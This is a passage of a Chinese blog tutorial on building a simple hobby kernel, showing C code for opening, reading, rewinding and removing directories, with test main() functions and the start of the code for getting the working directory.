class="keyword">if</span> (searched_record.file_type == FT_REGULAR) &#123;</span><br><span class="line"> printk(<span class="string">"%s is regular file!\n"</span>, name);</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (searched_record.file_type == FT_DIRECTORY) &#123;</span><br><span class="line"> ret = dir_open(cur_part, inode_no);</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   dir_close(searched_record.parent_dir);</span><br><span class="line">   <span class="keyword">return</span> ret;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 成功关闭目录dir返回0,失败返回-1 */</span></span><br><span class="line"><span class="keyword">int32_t</span> sys_closedir(struct dir* dir) &#123;</span><br><span class="line">   <span class="keyword">int32_t</span> ret = <span class="number">-1</span>;</span><br><span class="line">   <span class="keyword">if</span> (dir != <span class="literal">NULL</span>) &#123;</span><br><span class="line">      dir_close(dir);</span><br><span class="line">      ret = <span class="number">0</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> ret;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面简单测试一下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line">   process_execute(u_prog_a, <span class="string">"u_prog_a"</span>);</span><br><span class="line">   process_execute(u_prog_b, <span class="string">"u_prog_b"</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_a"</span>, <span class="number">31</span>, k_thread_a, <span class="string">"I am thread_a"</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_b"</span>, <span class="number">31</span>, k_thread_b, <span class="string">"I am thread_b"</span>);</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir</span>* <span class="title">p_dir</span> = <span class="title">sys_opendir</span>("/<span class="title">dir1</span>/<span class="title">subdir1</span>");</span></span><br><span class="line">   <span class="keyword">if</span> (p_dir) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"/dir1/subdir1 open done!\n"</span>);</span><br><span class="line">      <span class="keyword">if</span> (sys_closedir(p_dir) == <span class="number">0</span>) &#123;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"/dir1/subdir1 close done!\n"</span>);</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"/dir1/subdir1 close fail!\n"</span>);</span><br><span class="line">      &#125;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"/dir1/subdir1 open fail!\n"</span>);</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行结果如下</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/103.png" alt></p><p>我们的目的是遍历目录，我们已经实现了第一步打开和关闭，接下来实现读取目录函数readdir，读取目录的本质是读取目录中的目录项，readdir每次返回目录的一个目录项地址，遍历目录需要循环调用readdir函数，下面是具体实现</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 读取目录,成功返回1个目录项,失败返回NULL */</span></span><br><span class="line"><span class="function">struct dir_entry* <span class="title">dir_read</span><span class="params">(struct dir* dir)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir_entry</span>* <span class="title">dir_e</span> = (<span class="title">struct</span> <span class="title">dir_entry</span>*)<span class="title">dir</span>-&gt;<span class="title">dir_buf</span>;</span> <span class="comment">// 存储目录项</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">inode</span>* <span class="title">dir_inode</span> = <span class="title">dir</span>-&gt;<span class="title">inode</span>;</span> </span><br><span class="line">   <span class="keyword">uint32_t</span> all_blocks[<span class="number">140</span>] = &#123;<span class="number">0</span>&#125;, block_cnt = <span class="number">12</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span> block_idx = <span class="number">0</span>, dir_entry_idx = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">while</span> (block_idx &lt; <span class="number">12</span>) &#123;</span><br><span class="line">      all_blocks[block_idx] = dir_inode-&gt;i_sectors[block_idx];</span><br><span class="line">      block_idx++;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">if</span> (dir_inode-&gt;i_sectors[<span class="number">12</span>] != <span class="number">0</span>) &#123;     <span class="comment">// 若含有一级间接块表</span></span><br><span class="line">      ide_read(cur_part-&gt;my_disk, dir_inode-&gt;i_sectors[<span class="number">12</span>], all_blocks + <span class="number">12</span>, <span class="number">1</span>);</span><br><span class="line">      block_cnt = <span class="number">140</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   block_idx = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint32_t</span> cur_dir_entry_pos = <span class="number">0</span>;  <span class="comment">// 当前目录项的偏移,此项用来判断是否是之前已经返回过的目录项</span></span><br><span class="line">   <span class="keyword">uint32_t</span> dir_entry_size = cur_part-&gt;sb-&gt;dir_entry_size;</span><br><span class="line">   <span class="keyword">uint32_t</span> dir_entrys_per_sec = SECTOR_SIZE / dir_entry_size; <span class="comment">// 1扇区内可容纳的目录项个数</span></span><br><span class="line">   <span class="comment">/* 因为此目录内可能删除了某些文件或子目录,所以要遍历所有块 */</span></span><br><span class="line">   <span class="keyword">while</span> (block_idx &lt; block_cnt) &#123;</span><br><span class="line">      <span class="keyword">if</span> (dir-&gt;dir_pos &gt;= dir_inode-&gt;i_size) &#123;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> (all_blocks[block_idx] == <span class="number">0</span>) &#123;     <span class="comment">// 如果此块地址为0,即空块,继续读出下一块</span></span><br><span class="line"> block_idx++;</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="built_in">memset</span>(dir_e, <span class="number">0</span>, SECTOR_SIZE);</span><br><span class="line">      ide_read(cur_part-&gt;my_disk, all_blocks[block_idx], dir_e, <span class="number">1</span>);</span><br><span class="line">      dir_entry_idx = <span class="number">0</span>;</span><br><span class="line">      <span class="comment">/* 遍历扇区内所有目录项 */</span></span><br><span class="line">      <span class="keyword">while</span> (dir_entry_idx &lt; dir_entrys_per_sec) &#123;</span><br><span class="line"> <span class="keyword">if</span> ((dir_e + dir_entry_idx)-&gt;f_type) &#123; <span class="comment">// 如果f_type不等于0,即不等于FT_UNKNOWN</span></span><br><span class="line">    <span class="comment">/* 判断是不是最新的目录项,避免返回曾经已经返回过的目录项 */</span></span><br><span class="line">    <span class="keyword">if</span> (cur_dir_entry_pos &lt; dir-&gt;dir_pos) &#123;</span><br><span class="line">       cur_dir_entry_pos += dir_entry_size;</span><br><span class="line">       dir_entry_idx++;</span><br><span class="line">       <span class="keyword">continue</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    ASSERT(cur_dir_entry_pos == dir-&gt;dir_pos);</span><br><span class="line">    dir-&gt;dir_pos += dir_entry_size;      <span class="comment">// 更新为新位置,即下一个返回的目录项地址</span></span><br><span class="line">    <span class="keyword">return</span> dir_e + dir_entry_idx; </span><br><span class="line"> &#125;</span><br><span class="line"> dir_entry_idx++;</span><br><span class="line">      &#125;</span><br><span class="line">      block_idx++;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实现sys-readdir及sys-rewinddir"><a href="#实现sys-readdir及sys-rewinddir" class="headerlink" title="实现sys_readdir及sys_rewinddir"></a>实现sys_readdir及sys_rewinddir</h2><p>readdir原型是<code>struct dirent *readdir(DIR *dirp)</code>，我们也是根据此接口进行实现。在遍历目录的时候我们需要用到目录回绕的功能，使目录的游标dir_pos回到0，他与lseek类似，这里我们用rewinddir实现，其原型是<code>void rewinddir(DIR *dirp)</code>，下面是系统调用的实现</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 读取目录dir的1个目录项,成功后返回其目录项地址,到目录尾时或出错时返回NULL */</span></span><br><span class="line"><span class="function">struct dir_entry* <span class="title">sys_readdir</span><span class="params">(struct dir* dir)</span> </span>&#123;</span><br><span class="line">   ASSERT(dir != <span class="literal">NULL</span>);</span><br><span class="line">   <span class="keyword">return</span> dir_read(dir);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 把目录dir的指针dir_pos置0 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sys_rewinddir</span><span class="params">(struct dir* dir)</span> </span>&#123;</span><br><span class="line">   dir-&gt;dir_pos = <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面测试一下，首先打开目录’/dir1/subdir1’，然后输出目录内容</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line"><span class="comment">/********  测试代码  ********/</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir</span>* <span class="title">p_dir</span> = <span class="title">sys_opendir</span>("/<span class="title">dir1</span>/<span class="title">subdir1</span>");</span></span><br><span class="line">   <span class="keyword">if</span> (p_dir) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"/dir1/subdir1 open done!\ncontent:\n"</span>);</span><br><span class="line">      <span class="keyword">char</span>* type = <span class="literal">NULL</span>;</span><br><span class="line">      <span class="class"><span class="keyword">struct</span> <span class="title">dir_entry</span>* <span class="title">dir_e</span> = <span class="title">NULL</span>;</span></span><br><span class="line">      <span class="keyword">while</span>((dir_e = sys_readdir(p_dir))) &#123; </span><br><span class="line"> <span class="keyword">if</span> (dir_e-&gt;f_type == FT_REGULAR) &#123;</span><br><span class="line">    type = <span class="string">"regular"</span>;</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    type = <span class="string">"directory"</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"      %s   %s\n"</span>, type, dir_e-&gt;filename);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> (sys_closedir(p_dir) == <span class="number">0</span>) &#123;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"/dir1/subdir1 close done!\n"</span>);</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"/dir1/subdir1 close fail!\n"</span>);</span><br><span class="line">      &#125;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"/dir1/subdir1 open fail!\n"</span>);</span><br><span class="line">   &#125;</span><br><span class="line"><span class="comment">/********  测试代码  ********/</span></span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>结果如下所示</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/104.png" alt></p><h2 id="删除目录"><a href="#删除目录" class="headerlink" title="删除目录"></a>删除目录</h2><p>在删除目录的时候目录非空的话应有提示，故我们需要在删除目录时先判断目录是否为空，不允许删除非空目录，我们继续改进dir文件</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 判断目录是否为空 */</span></span><br><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">dir_is_empty</span><span class="params">(struct dir* dir)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">inode</span>* <span class="title">dir_inode</span> = <span class="title">dir</span>-&gt;<span class="title">inode</span>;</span></span><br><span class="line">   <span class="comment">/* 若目录下只有.和..这两个目录项则目录为空 */</span></span><br><span class="line">   <span class="keyword">return</span> (dir_inode-&gt;i_size == cur_part-&gt;sb-&gt;dir_entry_size * <span class="number">2</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在父目录parent_dir中删除child_dir */</span></span><br><span class="line"><span class="keyword">int32_t</span> dir_remove(struct dir* parent_dir, struct dir* child_dir) &#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">inode</span>* <span class="title">child_dir_inode</span>  = <span class="title">child_dir</span>-&gt;<span class="title">inode</span>;</span></span><br><span class="line">   <span class="comment">/* 空目录只在inode-&gt;i_sectors[0]中有扇区,其它扇区都应该为空 */</span></span><br><span class="line">   <span class="keyword">int32_t</span> block_idx = <span class="number">1</span>;</span><br><span class="line">   <span class="keyword">while</span> (block_idx &lt; <span class="number">13</span>) &#123;</span><br><span class="line">      ASSERT(child_dir_inode-&gt;i_sectors[block_idx] == <span class="number">0</span>);</span><br><span class="line">      block_idx++;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">void</span>* io_buf = sys_malloc(SECTOR_SIZE * <span class="number">2</span>);</span><br><span class="line">   <span class="keyword">if</span> (io_buf == <span class="literal">NULL</span>) &#123;</span><br><span class="line">      printk(<span class="string">"dir_remove: malloc for io_buf failed\n"</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 在父目录parent_dir中删除子目录child_dir对应的目录项 */</span></span><br><span class="line">   delete_dir_entry(cur_part, parent_dir, child_dir_inode-&gt;i_no, io_buf);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 回收inode中i_secotrs中所占用的扇区,并同步inode_bitmap和block_bitmap */</span></span><br><span class="line">   inode_release(cur_part, child_dir_inode-&gt;i_no);</span><br><span class="line">   sys_free(io_buf);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面实现sys_rmdir，其原型是<code>int rmdir(const char *pathname)</code>，首先判断待删除文件是否存在，然后在进行删除</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 删除空目录,成功时返回0,失败时返回-1*/</span></span><br><span class="line"><span class="keyword">int32_t</span> sys_rmdir(<span class="keyword">const</span> <span class="keyword">char</span>* pathname) &#123;</span><br><span class="line">   <span class="comment">/* 先检查待删除的文件是否存在 */</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">path_search_record</span> <span class="title">searched_record</span>;</span></span><br><span class="line">   <span class="built_in">memset</span>(&amp;searched_record, <span class="number">0</span>, <span class="keyword">sizeof</span>(struct path_search_record));</span><br><span class="line">   <span class="keyword">int</span> inode_no = search_file(pathname, &amp;searched_record);</span><br><span class="line">   ASSERT(inode_no != <span class="number">0</span>);</span><br><span class="line">   <span class="keyword">int</span> retval = <span class="number">-1</span>;<span class="comment">// 默认返回值</span></span><br><span class="line">   <span class="keyword">if</span> (inode_no == <span class="number">-1</span>) &#123;</span><br><span class="line">      printk(<span class="string">"In %s, sub path %s not exist\n"</span>, pathname, searched_record.searched_path); </span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="keyword">if</span> (searched_record.file_type == FT_REGULAR) &#123;</span><br><span class="line"> printk(<span class="string">"%s is regular file!\n"</span>, pathname);</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123; </span><br><span class="line"> struct dir* dir = dir_open(cur_part, inode_no);</span><br><span class="line"> <span class="keyword">if</span> (!dir_is_empty(dir)) &#123; <span class="comment">// 非空目录不可删除</span></span><br><span class="line">    printk(<span class="string">"dir %s is not empty, it is not allowed to delete a nonempty directory!\n"</span>, pathname);</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (!dir_remove(searched_record.parent_dir, dir)) &#123;</span><br><span class="line">       retval = <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> dir_close(dir);</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   dir_close(searched_record.parent_dir);</span><br><span class="line">   <span class="keyword">return</span> retval;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面继续测试，测试代码如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line"><span class="comment">/********  测试代码  ********/</span></span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"/dir1 content before delete /dir1/subdir1:\n"</span>);</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir</span>* <span class="title">dir</span> = <span class="title">sys_opendir</span>("/<span class="title">dir1</span>/");</span></span><br><span class="line">   <span class="keyword">char</span>* type = <span class="literal">NULL</span>;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir_entry</span>* <span class="title">dir_e</span> = <span class="title">NULL</span>;</span></span><br><span class="line">   <span class="keyword">while</span>((dir_e = sys_readdir(dir))) &#123; </span><br><span class="line">      <span class="keyword">if</span> (dir_e-&gt;f_type == FT_REGULAR) &#123;</span><br><span class="line"> type = <span class="string">"regular"</span>;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> type = <span class="string">"directory"</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"      %s   %s\n"</span>, type, dir_e-&gt;filename);</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"try to delete nonempty directory /dir1/subdir1\n"</span>);</span><br><span class="line">   <span class="keyword">if</span> (sys_rmdir(<span class="string">"/dir1/subdir1"</span>) == <span class="number">-1</span>) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"sys_rmdir: /dir1/subdir1 delete fail!\n"</span>);</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"try to delete /dir1/subdir1/file2\n"</span>);</span><br><span class="line">   <span class="keyword">if</span> (sys_rmdir(<span class="string">"/dir1/subdir1/file2"</span>) == <span class="number">-1</span>) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"sys_rmdir: /dir1/subdir1/file2 delete fail!\n"</span>);</span><br><span class="line">   &#125; </span><br><span class="line">   <span class="keyword">if</span> (sys_unlink(<span class="string">"/dir1/subdir1/file2"</span>) == <span class="number">0</span> ) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"sys_unlink: /dir1/subdir1/file2 delete done\n"</span>);</span><br><span class="line">   &#125;</span><br><span class="line">   </span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"try to delete directory /dir1/subdir1 again\n"</span>);</span><br><span class="line">   <span class="keyword">if</span> (sys_rmdir(<span class="string">"/dir1/subdir1"</span>) == <span class="number">0</span>) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"/dir1/subdir1 delete done!\n"</span>);</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"/dir1 content after delete /dir1/subdir1:\n"</span>);</span><br><span class="line">   sys_rewinddir(dir);</span><br><span class="line">   <span class="keyword">while</span>((dir_e = sys_readdir(dir))) &#123; </span><br><span class="line">      <span class="keyword">if</span> (dir_e-&gt;f_type == FT_REGULAR) &#123;</span><br><span class="line"> type = <span class="string">"regular"</span>;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> type = <span class="string">"directory"</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"      %s   %s\n"</span>, type, dir_e-&gt;filename);</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/********  测试代码  ********/</span></span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试结果如下，目前根目录存在file1文件和目录dir1，dir1存在subdir1，subbdir1中存在file2，先直接删除/dir1/subdir1目录，因为目录非空会失败，接下来通过sys_rmdir和sys_unlink分别删除/dir1/subdir1/file2，最后删除/dir1/subdir1，然后再次输出/dir1内容</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/105.png" alt></p><h2 id="任务工作目录"><a href="#任务工作目录" class="headerlink" title="任务工作目录"></a>任务工作目录</h2><p>接下来我们需要实现Linux中的pwd功能，显示当前工作目录和cd切换目录的功能。其中重点是”..”获取父目录，我们循环使用获取父目录的函数，直到获取到根目录为止就可以获取到绝对路径，下面逐步实现</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 获得父目录的inode编号 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> uint32_t <span class="title">get_parent_dir_inode_nr</span><span class="params">(<span class="keyword">uint32_t</span> child_inode_nr, <span class="keyword">void</span>* io_buf)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">inode</span>* <span class="title">child_dir_inode</span> = <span class="title">inode_open</span>(<span class="title">cur_part</span>, <span class="title">child_inode_nr</span>);</span></span><br><span class="line">   <span class="comment">/* 目录中的目录项".."中包括父目录inode编号,".."位于目录的第0块 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span> block_lba = child_dir_inode-&gt;i_sectors[<span class="number">0</span>];</span><br><span class="line">   ASSERT(block_lba &gt;= cur_part-&gt;sb-&gt;data_start_lba);</span><br><span class="line">   inode_close(child_dir_inode);</span><br><span class="line">   ide_read(cur_part-&gt;my_disk, block_lba, io_buf, <span class="number">1</span>);   </span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir_entry</span>* <span class="title">dir_e</span> = (<span class="title">struct</span> <span class="title">dir_entry</span>*)<span class="title">io_buf</span>;</span></span><br><span class="line">   <span class="comment">/* 第0个目录项是".",第1个目录项是".." */</span></span><br><span class="line">   ASSERT(dir_e[<span class="number">1</span>].i_no &lt; <span class="number">4096</span> &amp;&amp; dir_e[<span class="number">1</span>].f_type == FT_DIRECTORY);</span><br><span class="line">   <span class="keyword">return</span> dir_e[<span class="number">1</span>].i_no;      <span class="comment">// 返回..即父目录的inode编号</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在inode编号为p_inode_nr的目录中查找inode编号为c_inode_nr的子目录的名字,</span></span><br><span class="line"><span class="comment"> * 将名字存入缓冲区path.成功返回0,失败返-1 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">get_child_dir_name</span><span class="params">(<span class="keyword">uint32_t</span> p_inode_nr, <span class="keyword">uint32_t</span> c_inode_nr, <span class="keyword">char</span>* path, <span class="keyword">void</span>* io_buf)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">inode</span>* <span 